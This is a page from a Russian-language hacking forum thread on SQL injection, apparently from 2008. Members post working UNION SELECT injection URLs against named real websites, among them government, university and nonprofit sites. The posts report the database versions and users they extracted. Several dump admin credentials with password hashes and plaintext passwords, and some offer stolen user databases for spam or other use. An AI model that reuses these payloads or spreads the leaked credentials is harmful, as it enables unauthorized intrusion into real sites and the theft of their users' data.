SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 290 of 798
  1. swt1

    swt1 Elder - Старейшина

    Joined:
    16 Feb 2008
    Messages:
    306
    Likes Received:
    78
    Reputations:
    21
    http://zito.mvs.gov.ua/?page=3&id=-639+union+select+1,2,3,4,5,6,7/*
     
    #5781 swt1, 29 Jun 2008
  2. Petr

    Petr Banned

    Joined:
    10 Jun 2006
    Messages:
    642
    Likes Received:
    369
    Reputations:
    -13
    http://www.bocharik.ru/tv/index.php?id=-4+UNION+SELECT+1,2,3,4,5/*

    Админка
    http://www.bocharik.ru/admin

    Версия
    http://www.bocharik.ru/tv/index.php?id=-4+UNION+SELECT+1,2,3,convert(version()+using+koi8r),5/*

    Юзер
    http://www.bocharik.ru/tv/index.php?id=-4+UNION+SELECT+1,2,3,convert(user()+using+koi8r),5/*

    Имя бд
    http://www.bocharik.ru/tv/index.php?id=-4+UNION+SELECT+1,2,3,convert(DATABASE()+using+koi8r),5/*


    Спасибо, nex0 je0n

    http://www.bocharik.ru/tv/index.php?id=-4+UNION+SELECT+1,2,3,convert(concat_ws(0x3a,userna me,user_password)+using+koi8r),5+from+phpbb_users+ where+user_level=1+limit+0,1/*
    /admin/ - пасс от форума,которого нет, подойдет к админке
    Bocharik:94edcb5a40e5cb07f1428ded09fc62b7:gjlpfvrj v
    to /admin/ - admin:gjlpfvrjv
     
    #5782 Petr, 29 Jun 2008
    Last edited: 15 Jul 2008
    1 person likes this.
  3. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    PR 2
    version(): 5.0.24a-standard-log
    user(): [email protected]
    database(): jpthome
    admin:9b9b2642fd71dc42744cba369fb22120


    PR 2
    version(): 5.0.58
    user(): pinklady@localhost
    database(): pinklady
    admin:9f751204e5080f66b7c5d77c0791ca8d:3wmSYj6vHBRkaick


    PR 2
    version(): 4.1.20-community-nt
    user(): locallytoyou@localhost
    database(): locallytoyou


    PR 2
    version(): 5.0.24a-standard-log
    user(): [email protected]
    database(): soul
    admin:0f138c43fd44179b1380f1f0aaf88e3c:NGLGxwIecZYqjkOM


    PR 0 ='(
    version(): 4.1.22-standard
    user(): chsalum_joom1@localhost
    database(): chsalum_joom1
    chsalum:7e027f88756af54c4e987d13395b7fbf:ZjMUi8erHWoIxFey


    PR 0 ='(
    version(): 4.1.22-standard
    user(): latvianu_jUser@localhost
    database(): latvianu_joomlaDB
     
    #5783 gisTy, 29 Jun 2008
  4. n3m0

    n3m0 Elder - Старейшина

    Joined:
    11 May 2007
    Messages:
    133
    Likes Received:
    92
    Reputations:
    11
    PR 0


    version()     : 5.0.45-community-log
    user() : jacellul_joom1@localhost
    database() : jacellul_joom1

    thnx to gisTy
     
    #5784 n3m0, 29 Jun 2008
  5. SUBJECT617

    SUBJECT617 Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    73
    Likes Received:
    34
    Reputations:
    -2
    Лиса аж подвисла ненадолго от кол-ва или хз от чего =)

    Если кому уж очень надо эту базу(5908 юзверей) (для спама или вообще хз для чего) то просто стукните в личку я скину в .txt... Ну думаю никому и не надо :rolleyes:
     
    #5785 SUBJECT617, 29 Jun 2008
    4 people like this.
  6. Buffalon

    Buffalon Elder - Старейшина

    Joined:
    22 Mar 2008
    Messages:
    241
    Likes Received:
    34
    Reputations:
    8
    http://www.rgufk.ru/modules/sections/index.php?op=viewarticle&artid=148+and+1=2+union+select+1,2,version(),4,5,user(),7,8,9,10
    cпс jokester
    НИмогу капнутЬ дальше
    version(): 4.1.21
    user() :rgufk@localhost
     
    #5786 Buffalon, 29 Jun 2008
  7. last_root

    last_root Elder - Старейшина

    Joined:
    24 Jun 2008
    Messages:
    255
    Likes Received:
    68
    Reputations:
    0
    Code:
     http://www.bedro1075.co.kr/bbs1/login.php?id=issue&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&s_url=%2Fbbs1%2Fview.php%3Fid%3Dissue%26no%3D2
    дальше не знаю как- я еще ток начал....
     
    #5787 last_root, 29 Jun 2008
    1 person likes this.
  8. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    PR 4
    определяем кол-во колонок:
    но при запросе
    нам ничего не выводит, так как вывод ошибок отключен.. следовательно можно предположить что версия мускула - 3.ъ, т.к. в ней не былшо конструкции union.. кто раскрутит до конца отпишитесь, просто самому уже интересно

    PR 4
    version(): 5.0.51-2.dotdeb.0-log
    user(): lyricsprovider@localhost
    database(): lyricsprovider
    3 юзверя..
    вот тут уже побольше будет, но тут в основном тольок мыльники

    PR 3
    version(): 5.0.45-community-log
    user(): harptabs_harptab@localhost
    database(): harptabs_com
    в базе 5939 записи=) сливайте, юзайте=)

    PR 3
    version(): 4.1.22-standarđlog
    user(): vietsky_khoalan@localhost
    database(): vietsky_music

    PR 2
    version():5.0.24a-standard-log
    user(): [email protected]
    dtatabase(): demolyrics

    PR 2
    version(): 4.1.21-community-max-nt-log
    user(): [email protected]
    database(): 1gb_duhovskoi

    PR 0 ='(
    version(): 5.0.45-log
    user():[email protected]
    database(): db225707050
    бд почти пустая.. там есть одна табличка.. да и та не интересная..
     
    #5788 gisTy, 30 Jun 2008
    Last edited: 30 Jun 2008
  9. DDoSька

    DDoSька Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    317
    Likes Received:
    352
    Reputations:
    18
    PR: 1
    Code:
    http://www.oke.ru/xo4u.php?id=-42708+union+select+1,2,3,4,5,6,7,8,9,10/*
    Code:
    http://www.oke.ru/xo4u.php?id=-42708+union+select+1,2,version(),4,User(),6,7,8,9,10/*
    User:gsokecomru@localhost
    Version:5.1.16-beta-log
    -------------------------------------------------------------
    PR: 7
    Code:
    http://www.globaleconomicgovernance.org/research.php?id=-2+union+select+1,2,3,4,5,6,7/*
    Code:
    http://www.globaleconomicgovernance.org/research.php?id=-2+union+select+1,version(),user(),4,5,6,7/*
    User:[email protected]
    Version:5.0.45-log
    -------------------------------------------------------------
    PR: 7
    Code:
    http://www.linspire.com/lindows_news_pressreleases_archives.php?id=-240+union+select+1,2/*
    Code:
    http://www.linspire.com/lindows_news_pressreleases_archives.php?id=-240+union+select+user(),version()/*
    User:[email protected]
    Version:4.0.24-standard-log
    -------------------------------------------------------------
    MSSQL_InJection:
    PR: 6
    Code:
    http://www.thechicagocouncil.org/dynamic_page.php?id=64'
    -------------------------------------------------------------
    PR: 6
    Code:
    http://www.wfsj.org/projects/page.php?id=-62+union+select+1,2,unhex(hex(concat_ws(0x3a,Version(),user()))),4,5,6,7,8,9,10,11/*
    User:wfsj@localhost
    Version:4.1.7-nt
    -------------------------------------------------------------
    PR: 5
    Code:
    http://www.thejerusalemfund.org/images/informationbrief.php?ID=-192+union+select+concat_ws(0x3a,version(),user())/*
    User:hijab@localhost
    Version:4.0.27-log
    -------------------------------------------------------------
    PR: 6
    Code:
    http://www.choices.edu/resources/detail.php?id=-49+union+select+1,convert(concat_ws(0x3a,version(),user())+using+latin1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26/*
    User:[email protected]
    Version:4.1.14-log
    -------------------------------------------------------------
    PR: 6
    Code:
    http://www.allianceforbiz.com/events/specific_event.php?id=-89+union+select+concat_ws(0x3a,version(),user()),2,3,4,5,6,7,8,9/*
    User:alliance_shows@localhost
    Version:4.1.22-standard
    -------------------------------------------------------------
    PR: 5
    http://www.fip.org/CONGRESS/beijing2007/index.php?id=-600+union+select+user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*
    Code:
    http://www.fip.org/CONGRESS/beijing2007/index.php?id=-600+union+select+user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*
    User:fip@localhost
    Version:4.1.20
    ---------------------------------------------------------------
    PR: 6
    Code:
    http://www.eutrainingsite.com/open_details.php?id=-19+union+select+1,version(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/*
    Version:5.0.22-Debian_0ubuntu6.06.10-log
    User:eutrsite@localhost
    Все таблицы:
    Code:
    http://www.eutrainingsite.com/open_details.php?id=-19+union+select+1,table_name,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+information_schema.tables+limit+18,1/*
    Тут порядком 60 мыльников:
    http://www.eutrainingsite.com/open_details.php?id=-19+union+select+1,concat_ws(0x3a,id,email,password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+cusers+where+id=1/*
    [email protected]:comm08em
    ----------------------------------------------------------------
    Code:
    http://www.michaelpollan.com/article.php?id=-87+union+select+1,2,3,4,5,6,7,8,9,10/*
    -----------------------------------------------------------------
    PR: 5
    Code:
    http://www.churchilltrust.com.au/content.php?id=-54+union+select+1,2,3,convert(version()+using+latin1),5,6,7,8,9,10,11/*
    Code:
    http://www.churchilltrust.com.au/content.php?id=-54+union+select+1,2,3,concat_ws(0x3a,id,username,password,email),5,6,7,8,9,10,11+from+users+where+id=1/*
    admin:4dm1n {админку я так и не нашел,может пароль к ftp подойдет,но я даже пробовал =)}
    ----------------------------------------------------------------
    http://www.clasp.org/publications.php?id=-6+union+select+1,2,version(),4,5,6,7,8,9,10,1,1,1,1,1/*
     
    #5789 DDoSька, 30 Jun 2008
  10. #urbaner

    #urbaner Member

    Joined:
    30 Mar 2008
    Messages:
    19
    Likes Received:
    13
    Reputations:
    -5
    Поля и таблицы не смог подобрать:(
     
    #5790 #urbaner, 30 Jun 2008
    2 people like this.
  11. n3m0

    n3m0 Elder - Старейшина

    Joined:
    11 May 2007
    Messages:
    133
    Likes Received:
    92
    Reputations:
    11
    ukrgazeta.plus.org.ua

    PR 3

    Подобрал только одну таблицу: article(ida,text)
     
    #5791 n3m0, 30 Jun 2008
  12. SUBJECT617

    SUBJECT617 Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    73
    Likes Received:
    34
    Reputations:
    -2
    Страшный случай. Смотрим в исходном коде :) Лучше для этого юзать SQL inj tools ИМХО
     
    #5792 SUBJECT617, 30 Jun 2008
  13. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    SUBJECT617
    вот это правильная база.)

    agamemn0n
    продолжай..)
     
    #5793 sabe, 30 Jun 2008
  14. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    может я чего то не понимаю, но ты перейди по той ссылке, что ты дал..
    там вообще есть возможность инъекта?
     
    #5794 gisTy, 1 Jul 2008
    Last edited: 1 Jul 2008
  15. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    HairStylesDesign.com - PR 5
    есть таблица users, но поля не угалал..(
     
    #5795 sabe, 1 Jul 2008
  16. agamemn0n

    agamemn0n New Member

    Joined:
    30 Apr 2008
    Messages:
    5
    Likes Received:
    2
    Reputations:
    -5
    http://prepadav.net/view_sellers_work.php?sel=1'+union+select+user_ password+from+ phpbb_users+where+user_id='3
     
    #5796 agamemn0n, 1 Jul 2008
  17. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    Fauvel.fr - pr 4
    вывод в index:
     
    #5797 sabe, 1 Jul 2008
    Last edited: 1 Jul 2008
  18. #urbaner

    #urbaner Member

    Joined:
    30 Mar 2008
    Messages:
    19
    Likes Received:
    13
    Reputations:
    -5
    Это по круче будет))))Админку сами ищите
     
    #5798 #urbaner, 1 Jul 2008
  19. tor4)

    tor4) Elder - Старейшина

    Joined:
    27 May 2008
    Messages:
    45
    Likes Received:
    21
    Reputations:
    -6
    www.fruity-mail.ru
    version: 5.0.45
    user: [email protected]
    database: u12625_frumail

     
    #5799 tor4), 1 Jul 2008
  20. sabe

    sabe Elder - Старейшина

    Joined:
    16 Mar 2007
    Messages:
    313
    Likes Received:
    178
    Reputations:
    14
    сегодня у нас .FR

    Univ-paris13.fr - pr 6
    Wildside.fr - pr 5
    Gedeonprogrammes.com - pr 5
    Amis-musees.fr - pr 4
    Prettypictures.fr - p4
    и еще..)

    Lowriderteeshirt.ch pr 5
     
    #5800 sabe, 1 Jul 2008
    Last edited: 1 Jul 2008
    1 person likes this.
(You must log in or sign up to post here.)
Page 290 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.